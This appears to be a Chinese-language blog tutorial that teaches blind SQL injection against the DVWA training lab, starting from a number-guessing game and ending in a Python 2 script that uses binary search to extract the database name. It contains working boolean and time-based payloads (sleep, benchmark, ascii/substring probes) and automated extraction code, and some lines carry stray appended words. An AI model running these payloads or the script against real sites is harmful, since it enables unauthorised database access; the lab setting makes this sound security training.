環境:dvwa 1.7
數據庫: mysql
前置知識:
一、閱讀了關於sql注入基礎的兩個博文並本身動手實踐過(一)(二)
二、閱讀了hack with python(一)
1、學習web安全的過程並不老是充滿快樂,有時還有點小枯燥
(1)那這樣咱們,先來玩個小遊戲吧!猜數字,看一看你能多少次猜出數字php
#! /usr/bin/python #A game to a guess a number between 1 and 100 #if the times you guess is less than 10 #it will print Congrauation info import random times = 0 num = random.randint(1,100) guess = int(raw_input('plz input a number between 1 and 100:')) while guess != num: if guess>num: print '%d is bigger than the real value' % guess times += 1 else: print '%d is less than the real value' % guess times +=1 guess = int(raw_input('plz input a number between 1 and 100:')) else: print 'Congrauations! The value is %d' % num if times<10: print 'You are a crazy boy for that you use %d times to guess the numer' % times else: print 'Maybe there are more faster method to do this'
(2)好了,記得先玩一下,再接着看以後的內容喲!
這裏是我在玩這個遊戲的思路,先上圖
好,是否是效率還挺高的呀!每一次猜數正確的次數都少於7次
可是,你有沒有發現點什麼,就是我每次猜數都是從50開始,爲何是50呢?是否是開始有點好奇呀!html
(3)其實,這裏的方法稱之「二分法」。python
也許會有人問:「二分,啥玩意」?
答曰:「二分你不知道,中分你總知道了吧!什麼,你連中分發型都不知道?看我三胖哥萌萌的髮型」!
能夠看到,三胖哥的髮型一分爲二,這就是二分的意思!
那麼二分法呢?
從咱們上面猜數來說解吧!
上面猜數的範圍是0--100,最大值是100mysql
【1】這裏咱們稱100爲上限,0稱爲下限。咱們猜想的第一個數爲(上限+下限)/2。這樣就能夠經過判斷,將數的範圍分爲兩半
第一步的邏輯:
若是 隨機數>(100+0)/2: {a}隨機數的範圍在50到100之間
若是 隨機數<(100+0)/2: {b}隨機數的範圍在0到50之間
【2】到了這一步,咱們假若是{a}的話,則咱們更改範圍的下限爲50.假若是的話,咱們則更改範圍的上限爲50。
這裏咱們按照來說,此時猜數的範圍已經縮小爲0--50
第二步分邏輯:
若是 隨機數>(50+0)/2: [c]隨機數的範圍在25到50之間
若是 隨機數<(50+0)/2: [d]隨機數的範圍在0到25之間
【3】此後按照這個機理循環,直至猜到數字爲主。
按照[c]來說,此時數的範圍25--50
第三步邏輯:
若是 隨機數>(50+25)/2: 隨機數的範圍在37-50以內
若是 隨機數<(50+25)/2: 隨機數的範圍在25-37以內
(4)到這裏咱們總結一下,
一、不斷將隨機數與(上限與下限之和)的平均值比較,縮小上限與下限的範圍
二、直到咱們的上限下限的所包含的數據足夠少,而這個少的定義由咱們本身來定
三、遍歷剩下的幾個數據,便可知道隨機數web
2、有了上面的基礎,咱們能夠開始瞭解今天的hack with python課程了。算法
(1)數據庫盲注:
[1]什麼是盲注?
這個是與返回數據的sql注入相對應的,因爲開發者的設置或者web應用的架構的緣由。沒法直接返回咱們須要的數據,只能經過正確請求與錯誤請求之間的返回不一樣狀態來判別咱們的請求是否被執行!
[2]類型:
布爾盲注:也就是經過使判斷條件爲真或假,從而影響數據庫的查詢返回的結果集!
基於時間的盲注:經過延時語句使得查詢延後必定時間,從而影響返回結果的快慢
(2)舉例:
仍是經過咱們dvwa來學習相關內容,首先設置安全等級爲low。
而後咱們,切換到SQL injection(Blind)來練習
[1]布爾盲注:
正常數據測試:輸入1的時候,返回"First name","Surname"
異常數據測試:輸入「1'」的時候。沒有返回數據,說明咱們的輸入可能引發數據庫的錯誤,致使沒有數據返回。這裏咱們猜想數據的終結符是單引號,因而咱們繼續構造驗證咱們想法的payload
布爾測試:
使判斷條件爲真,咱們輸入「1' and 'a'='a」
使判斷條件爲假,咱們輸入「1' and 'a'='b」
通過測試,咱們發現當輸入爲「1' and 'a'='a」的時候,咱們獲得的結果和正常頁面同樣,當輸入爲「1' and 'a'='b」的時候,結果與異常頁面同樣!
這裏咱們再看看上面,咱們的payload爲何是這樣的!
前兩篇sql注入的帖子講過,正常的sql查詢多是這樣的!這裏數據被包裹在單引號內,是由於上面咱們的單引號致使查詢發生異常!
select firstname,surname from users where id='1'
因爲數據是在單引號內,所以要保證語法正確的話,則要正確的閉合單引號
當咱們的輸入爲「1' and 'a'='a」的時候,咱們的查詢語句變成這樣
select firstname,surname from users where id='1' and 'a'='a'
能夠看到,1後面的單引號使用來閉合包圍數據的起始單引號,也就是id=後面的那個單引號。閉合以後咱們就能夠構造咱們的payload以便讓它生效!而咱們不要忘記的是,包圍數據的還有一個終結單引號,因此咱們利用了終結單引號,構造了「'a」這樣字符串,這樣終結單引號就能夠與「'a」共同組合成字符串'a',因爲'a'='a'恆真,也就是條件判斷生效。
而「1' and 'a'='b」的原理也是同樣,只不過'a'='b'恆假,而這裏的邏輯運算符爲and,只有都爲真,條件判斷才生效!
[2]基於時間的盲注:
在mysql當中,有一兩種方法能夠作到時間延遲,
【1】使用sleep()函數,這個函數在Mysql版本>5的時候纔可使用。它有一個參數,就是要延時的秒數。
好比5秒以後,sleep(5)
根據上面的知識咱們,構造payload
睡眠時間爲5秒:1' and sleep(5) and 'a'='asql
==========================分界線================
在測試,咱們怎麼知道執行一個頁面的時間多長呢?
這裏仍是得用到咱們上一章提到的firebug。
一、打開你的firebug(我不會告訴你直接按F12就出來了)
二、切換到網絡這個標籤頁。
三、先輸入正常數據「1」,查看一下頁面返回的時間
四、再輸入咱們的payload,查看一下頁面返回的時間,觀察時間差!
數據庫
五、若是時間差和咱們設定的數值基本一致,也就說明存在基於時間的盲注
根據咱們觀察到結果,能夠肯定其易受基於時間的盲注
【2】使用benchmark()函數,咱們來看一下它的介紹。編程
這裏,它說是用來測試給定的sql語句執行效率如何。其中它有兩個參數,第一個參數是執行的次數,第二個參數是要執行的的sql語句
咱們在數據庫測試一下吧,看計算不一樣的語句的延時是多少!但次數必定要大喲!
這裏我選取的次數爲10000000次,經過執行md5或者sha1加密!
能夠看到,當執行benchmark(15000000,sha1('skytina'))的時候,近似5秒的時間!
這裏咱們構造的payload
1' and benchmark(15000000,sha1('skytina')) and 'a'='a
能夠看到,它的返回頁面延緩了5秒。從而能夠肯定它易受***
========================分界線結束=================安全
3、有了上面這些認識,咱們能夠開始繼續深刻的瞭解盲注。
(1)這裏就不得不提一下substring(),ascii()以及length()這三個函數了
substring()是用來,截取字符串的一部分,ascii()這個是用來將用來返回字符串中最左邊字符的ascii值的,而length()這個則是用來返回字符串的長度的
好,下面咱們進入數據庫,感性的認識一下
substring有三個參數,第一個是要截取的字符串,第二個截取的起始位置,第三個是截取的長度!
例子:
經過上面的例子能夠看到,咱們通常截取字符串的一個字符,而後得到其ascii數值,經過二分法就能夠肯定這二個字符對應的ascii數值
(2)到了,我這裏咱們就開始實戰吧!
user()、version()、database()這些函數咱們有了必定的瞭解吧,那咱們測試一下database()
在構造payload前咱們得想想,雖然可使用substring(),可是咱們不知道咱們須要獲取的數據長度,是否是有點困惑呢?
當困惑的時候,不妨仔細梳理一下本身學過的知識,想想咱們是否是介紹一個函數,是用來獲取字符串的長度的。length()函數,記得不?
用上咱們的二分法,這裏咱們本身定義個標準,好比我以長度10爲開始!咱們對應的下限爲1。同時注意到這裏咱們用註釋掉終結單引號而不是去閉合它!
構造payload:
一、獲取要盲注數據的長度
1' and length(database())>10# 返回false
1' and length(database())>5# 返回false (10+1)/2,這裏取的約數
1' and length(database())>3# 返回true (5+1)/2
1' and length(database())=4# 返回true經過上面的分析,能夠肯定長度大於3且不大於5,可是還有兩個可能,一個是4,5。聽過最終測試,肯定了database(),即當前數據庫的長度爲4
(3)肯定了長度以後,咱們開始猜想每個字符。這裏插入一張ascii表,你們能夠對應一下!
ascii表中,
字母a-z的範圍是97--122
數字0-9的範圍是48--57
還有幾個特殊字符
@--64
.--46
_--95
構造payload:
由於大部分數據都是基於字母的,只有在user()這些纔會有@等一些特殊字符
1' and ascii(substring(database(),1,1))>97# 返回true 說明第一個字符是字母
1' and ascii(substring(database(),1,1))>110# 返回false 範圍:97--110
1' and ascii(substring(database(),1,1))>103# 返回false 範圍:97--103
1' and ascii(substring(database(),1,1))>100# 返回false 範圍:97--100
1' and ascii(substring(database(),1,1))>98# 返回false
1' and ascii(substring(database(),1,1))=99# 返回false
最終肯定,database()第一個字符對應的ascii值爲100,也就是d。
以後咱們須要作的就是把substring的第二個參數,起始位置加一,就就能夠了,直到起始位置等於咱們的數據長度。
猜想第二個字符:
1' and ascii(substring(database(),2,1))>97# 返回true
1' and ascii(substring(database(),2,1))>110# 返回true
1' and ascii(substring(database(),2,1))>116# 返回true
1' and ascii(substring(database(),2,1))>119# 返回false
1' and ascii(substring(database(),2,1))>117# 返回true
1' and ascii(substring(database(),2,1))=118# 返回true
由此能夠肯定第二字母對應的ascii數值爲118.也就是字母v
猜想第三個字符:
1' and ascii(substring(database(),3,1))>97# 返回true
1' and ascii(substring(database(),3,1))>110# 返回true
1' and ascii(substring(database(),3,1))>116# 返回true
1' and ascii(substring(database(),3,1))>117# 返回true
1' and ascii(substring(database(),3,1))=118# 返回false
由此能夠肯定,第三個字母對應的ascii值爲119,也就是字母w
猜想第四個字符,也是最後一個,
1' and ascii(substring(database(),4,1))>97# 返回false
1' and ascii(substring(database(),4,1))>57# 返回true 判斷是否爲數字
1' and ascii(substring(database(),4,1))=97# 返回true
第四個字符對應的ascii值爲97,也就是a
4、到這裏,咱們已經了了解了怎樣經過手工盲注數據,可是每次都得這樣手動進行輸入判斷,是否是效率特別低,並且也特別枯燥!所以,有了咱們這堂課的內容,編寫腳原本自動完成這些內容。
一、寫程序前的分析
但在編寫程序的以前,咱們須要進行分析
(1)咱們的查詢請求方式是get請求仍是post的形式
這裏咱們,用firebug來分析一下,
能夠看到,這裏的請求是get形式。可是也應該注意到,咱們須要帶上session的值去訪問頁面,不然系統會從新爲咱們從新分配session值.詳情能夠看上一個博文最後的內容!
因此咱們寫程序的時候須要帶上cookie的值,這裏咱們略去了登陸獲取session這部份內容,直接來學習咱們這篇帖子重點內容
(2)正常頁面和異常頁面之間的差異
經過咱們以前咱們分別提交正常和異常數據,咱們能夠觀察到,正常頁面是有數據出現的,如Surname這個字符串,這裏咱們把它做爲咱們的標誌,存在Surname說明返回true,不然返回的是false
二、模塊1、獲取咱們所須要的數據長度
這裏咱們要介紹函數這個知識了,什麼是函數呢?就是將要運行的一段代碼單獨的標識出來,這樣當咱們須要重複用這一段代碼的時候,就不用粘貼複製,而只須要調用這個標識,而後程序就會走進標識指向的那段代碼!
總得來講,函數是一段用來解決特定問題的代碼段。
定義一個函數須要使用def關鍵字,而後def後面跟着的是函數名,接着是參數。
1、初試函數
咱們先來用一用函數,range()函數,是用來輸出必定範圍的內的數據,以列表的形式返回。
【1】當只有一個參數的時候,起始默認從0開始,range(n)返回列表[0,....,n-1],並不包括n
【2】當有兩個參數的時候,第一個參數爲起始數值,第二參數爲截止數值
>>>range(1,5)
>>>[1,2,3,4]
這裏咱們先從一個簡單的循環打印函數開始
def printloop(max): for x in range(max): print x
上面這段代碼的運行效果以下圖:
值得注意的是:對於通常的編程語言如C等會以"{"來做爲做用域的標誌,有些如dephi會用"begin"
在python是以「:」做爲做用域的開始,用縮進來表示同一段代碼塊
分析:如上面第一個冒號,是說明printloop函數做用開始,第二個冒號跟在for循環以後,是表示在for循環做用域的開始!
那麼何時會使用函數呢?當你以爲本身的程序出現很多重複的代碼的時候,即可以考慮使用函數將你的代碼封裝起來。
2、笨笨的方法
上面第三部分在講解盲注知識的時候,咱們講過能夠經過「length(子查詢)」來獲取對應數據的長度
(1)對於Mysql來講,支持嵌套查詢。這個內容咱們以後在專門的sql注入專題會有講解,如今的話咱們先來使用mysql中一些經常使用的函數。
如:user()、version()、database()
(2)從上一篇帖子最後面的內容,咱們知道dvwa這個***學習平臺是經過session來維持咱們的訪問的,要是咱們沒有登陸而且使用已經登陸的session值,咱們是沒辦法訪問其餘頁面。因此咱們這裏爲了簡化登陸機制,重點突出盲注知識,咱們直接使用登陸以後的session值
如圖:登陸以後,咱們設置一下安全等級爲低。
以後咱們按鍵盤的F12鍵,而後切換到Cookies標籤,咱們再刷新一下頁面,能夠看到在訪問當前頁面的時候會自動帶上cookie值,分別有兩個,一個PHPSESSID,一個是security。
這兩個cookie就是咱們須要。咱們將它以鍵值對方式添加到字典去
>>>headers = {"Cookie":"PHPSESSID=nq5qr58g05lbsd2lc7fueeofl5;security=low"}
而後咱們導入咱們要用到的庫,分別是urllib二、urllib、string
導入的時候咱們能夠,在一行導入多個庫,不一樣庫之間用逗號分隔!
>>>import urllib2,urllib,string
根據上面第三部分的分析,咱們能夠知道的是
-+-
(1)注入點是字符注入類型:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit#
中的id參數值,並且這裏的id數值是被單引號包裹住的!
(2)當一個咱們輸入正常ID值的時候,後臺sql查詢正常的時候會返回用戶數據,而當咱們輸入異常的ID值的時候,後臺sql查詢異常則不會返回數據。這裏咱們定義不一樣點爲「Surname」這個字符串,擁有這個字符串的時候,則認爲咱們sql查詢是正常的。
-+-
(3)首先定義一些咱們須要用到的變量
注入點
>>>init_url = "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3%s&Submit=Submit#"
這裏咱們在字符串中添加了一個格式化字符串%s,它表示的是這裏即將被填入的是一個字符串。
當咱們須要填入字符串的時候,使用這種格式
>>>init_url % ("the_string_you_want")
咱們只須要將咱們想要的字符串替換上面"the_string_you_want"便可,好比上面的例子
當咱們輸入的使咱們的payload的時候,好比"' and length(user())=2#"的時候,就會出現咱們第三部分構造過的payload
常見的格式化字符串以下(延伸閱讀)
咱們再次定義另外一個payload格式化字符串
>>>payload = "' and length(%s)=%d#"
能夠看到這個字符串有兩個格式化字符串符號,一個%s表明的是字符串,%d表明的是整數
還有咱們再設置咱們要查詢的數據,
>>>subselect = "database()"
好了,能夠開始寫咱們的函數了。
def GetLength(headers,init_url,payload,subselect): for x in range(1,30): Payload = payload % (subselect,x) url = init_url % (urllib.quote(Payload)) #print url req = urllib2.Request(url,headers=headers) result = urllib2.urlopen(req) content = result.read() if string.find(content,"Surname") != -1: print "the length of %s is %d" %(subselect,x) return x
首先,上面咱們定義了四個參數,其中headers是包含咱們的session信息的cookie值,init_url存在注入點的url,payload則是咱們構造的注入,而subselect則是咱們須要獲取長度的查詢。
上面函數的流程
[1]開始一個for循環,x的值從1到30-1。第一個冒號標識for循環的開始
[2]在for循環內部,咱們使用「%」爲格式化字符串填充內容,
咱們傳進來的參數:
payload = "' and length(%s)=%d#" subselect = "database()" x = 2
當執行完這一句話,Payload = "' and length(database())=2#"
每次的循環,x的值都會變化
[3]第三行也一樣是格式化字符串,使用urlib.quote(Payload)的值填充init_url。這裏使用urllib.quote()的緣由是由於咱們的Payload可能包含特殊字符,好比"#"、"+"等符號,因此須要進行url編碼
[4]實例化一個Request請求類的實例,咱們用headers=headers指定頭部
[5]剩下就是使用urlopen打開請求,並使用read()方法讀取返回的頁面信息。若是返回的頁面有"Surname"的話,輸出數據長度,而且使用return退出函數
能夠看到,這裏和第三部分的結果一致,即database()返回的當前數據名的長度爲4。
最後咱們在測試一下其餘查詢,咱們設置一個subselect1
subselect1 = "user()"
再次運行一下,能夠看到當前用戶名的長度爲14
3、機智的方法
如今咱們想象,上面笨笨的方法,簡單的使用了for循環來遍歷數據的長度,當數據的長度爲100的時候,咱們的腳本就會發出100次請求,並且是短期的,這樣很容易被waf牆。因此咱們須要更聰明的方法,咱們想一想咱們第一部分玩的猜數遊戲。是否是感受如今的盲注和玩遊戲很相似呀?
(1)這裏咱們回顧一下咱們的二分法:
[1]輸入上限、下限、未知的隨機數、精度
[2]在未達到精度的境況下,不斷使用上限和下限的平均值與未知的隨機數進行比較
if 未達到精度:
if 未知隨機數>平均數:
只更改下限爲平均數,其餘都不變,繼續第一步
else:
值更改上限爲平均數,其餘都不變,繼續第一步
else:
進行最後幾回的判斷,肯定未知的隨機數
(2)也就是說,咱們在一個函數內調用自身。這樣的調用叫作遞歸!
咱們先來個簡單的遞歸,但在遞歸前線介紹一個函數,這個函數叫pow。使用來用來計算某個數的n次方。
它傳進去的是兩個參數,第一個是底數,第二個是次方數
>>>pow(2,2)
>>>4
>>>pow(4,2)
>>>16
>>>pow(2,0)
>>>1
>>>pow(3,0)
>>>1
計算某個數x的n次方的意思是將n個x相乘,如x的二次方等於x*x
可是有個特別的例子就是任何非零數的零次方都是1
總結起來:
計算x的n次方
if n等於0:
返回1
else:
返回x乘以x的(n-1)次方
>>>def mypow(x,n):
if n == 0:
return 1
else:
return x*mypow(x,n-1)
>>>mypow(2,4)
>>>16
>>>mypow(2,3)
>>>8
(3)能夠看到咱們這裏不斷的調用自定義的mypow函數,知道n等於0的時候,才返回1。不然繼續調用mypow計算n-1次乘以x。
(4)編寫咱們的二分法函數來改寫咱們的求長度的GetLength()函數
可是爲了使代碼分析,咱們單單把二分法做爲單單做爲一個函數來編寫
def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum): ave = (maximum+minimum)/2 Payload = payload % (subselect,ave) url = init_url % (urllib.quote(Payload)) req = urllib2.Request(url,headers=headers) result = urllib2.urlopen(req) content = result.read() if maximum-minimum == 1: if string.find(content,"Surname") !=-1: print "The length of %s is %d" % (Payload,maximum) return maximum else: print "The length of %s is %d" % (Payload,minimum) return minimum if string.find(content,"Surname") !=-1: #minimum <--- ave return HalfOfIt(headers,init_url,payload,subselect,maximum,ave) else: #maximum <--- ave return HalfOfIt(headers,init_url,payload,subselect,ave,minimum)
這裏咱們加了兩個參數,
maximum:上限
minimum:下限
分析:
[1]第一行根據上限和下限,求出平均值
[2]以後即是格式化字符串payload,init_url,而後讀取內容
[3]判斷是否達到精度,也就是上限和下限相差1。若是相差1的話,就說明還有兩個數值咱們沒有進行測試,這時只須要進行一次判斷即可以判斷出結果,由於咱們的payload是"' and length(database())>ave#"
Ps:這裏咱們的ave是用整除的方式,它會省略掉小數部分。也就是說,當我上限和下限相差1的時候,
ave = (maximum+minimum)/2,獲得的數值和minimum同樣大小。
if 返回頁面包含"Surname":
則說明未知數比minimum大,應該返回maximum
else:
則說明未知數等於minimum,由於自身不可能大於自身
[4]
if 返回的頁面信息有"Surname",則說明未知數值大於平均值:
#這時候把平均值做爲下限,其餘參數不變,而後繼續調用HalfOfIt函數
return HalfOfIt(headers,init_url,payload,subselect,maximum,ave)
else:
#這時候把平均值做爲上限,其餘參數不變,而後繼續調用HalfOfIt函數
return HalfOfIt(headers,init_url,payload,subselect,ave,minimum)
(5)這樣咱們把咱們二分法的函數寫好了。這裏我把上面的代碼綜合起來,新建一個py文件。
import urllib,urllib2,string def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum): ave = (maximum+minimum)/2 Payload = payload % (subselect,ave) url = init_url % (urllib.quote(Payload)) req = urllib2.Request(url,headers=headers) result = urllib2.urlopen(req) content = result.read() if maximum-minimum == 1: if string.find(content,"Surname") !=-1: print "The length of %s is %d" % (Payload,maximum) return maximum else: print "The length of %s is %d" % (Payload,minimum) return minimum if string.find(content,"Surname") !=-1: #minimum <--- ave return HalfOfIt(headers,init_url,payload,subselect,maximum,ave) else: #maximum <--- ave return HalfOfIt(headers,init_url,payload,subselect,ave,minimum) init_url = "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3%s&Submit=Submit#" subselect = "database()" subselect1 = "user()" payload = "' and length(%s)>%d#" maximum = 30 minimum = 1 headers = {"Cookie":"PHPSESSID=nq5qr58g05lbsd2lc7fueeofl5;security=low"} length = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum)
三、獲取數據的數值
咱們猜想數據的最重要的算法,二分法已經完成。下面只須要稍微調整一下咱們的HalfOfIt函數就能夠進行數據的猜想了。
(1)分析:
在第三部分猜數的時候,咱們瞭解到猜數的payload
payload:"' and ascii(substring(subselect,index,1))>x"
這裏咱們須要關注的部分有三個,第一個是subselect,這部分和咱們的求數據長度是同樣的,index是咱們要獲取數據的那一位,好比要
獲取第二位substring(subselect,2,1)
獲取第三位substring(subselect,3,1)
第三個須要關注的是x的值。對應的課打印字符的ascii數值
(2)因此咱們須要多在HalfOfIt()函數中,多添加一個參數index。而且爲它設置默認值
[1]先來個簡單的版,函數仍是咱們上面的mypow(x,n),這裏咱們給n設置一個默認值,讓它計算乘方
>>>def mypow(x,n=2):
if n == 0:
return 1
else:
return x*mypow(x,n-1)
>>>mypow(2)
>>>4
>>>mypow(9)
>>>81
[2]下面咱們來修改咱們的HalfOfIt,並設置index的初始值爲None
def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum,index=None): ave = (maximum+minimum)/2 if index == None: Payload = payload % (subselect,ave) else: Payload = payload % (subselect,index,ave) url = init_url % (urllib.quote(Payload)) req = urllib2.Request(url,headers=headers) result = urllib2.urlopen(req) content = result.read() if maximum-minimum == 1: if string.find(content,"Surname") !=-1: return maximum else: return minimum if string.find(content,"Surname") !=-1: #minimum <--- ave return HalfOfIt(headers,init_url,payload,subselect,maximum,ave,index) else: #maximum <--- ave return HalfOfIt(headers,init_url,payload,subselect,ave,minimum,index)
能夠看到咱們先進行index的數值進行判斷,若是沒有進行設置,就說他只是計算長度的,有了index則說明在獲取數據值。
最後咱們作的就是封裝函數來執行獲取數據長度:
def GetLength(headers,init_url,subselect): maximum = 30 minimum = 1 payload = "' and length(%s)>%d#" length = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum) print "the length of %s is %d" % (subselect,length) return length
這裏咱們硬編碼了payload,由於獲取長度的payload是固定的。
[3]在獲取信息長度以後,咱們就能夠直接獲取整個數據了:
for x in range(1,GetLength(headers,init_url,subselect)+1): char = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum,index=x) print chr(char),
分析:
【1】由於range(start,stop)返回的列表中並不包含stop,因此要是咱們想要包含stop,則須要加一
因此就是range(1,GetLength(headers,init_url,subselect)+1)
【2】第二我的就是chr()函數,傳進去ascii數值返回對應的ascii字符
5、到了這裏,咱們此次hack with python的教程就算完了!
(1)前期寫帖子的時候沒有規劃好,致使後來思路越寫越亂,到後來內容很差控制了,看來寫文章前也得本身列個大綱呀!這裏末尾附帶上此次的源碼。
(2)對於mysql來講,因爲支持嵌套查詢。什麼是嵌套查詢呢?
就是select username from (select * from users where usertype='admin') where id = 1
能夠看出from的內容並非一個數據庫,而是一個select的查詢結果集!
(3)下次分享在實際注入的例子以及python爬蟲!
源碼文件:
一、game.py
二、blind_sqli.py
code.zip (1.21 KB)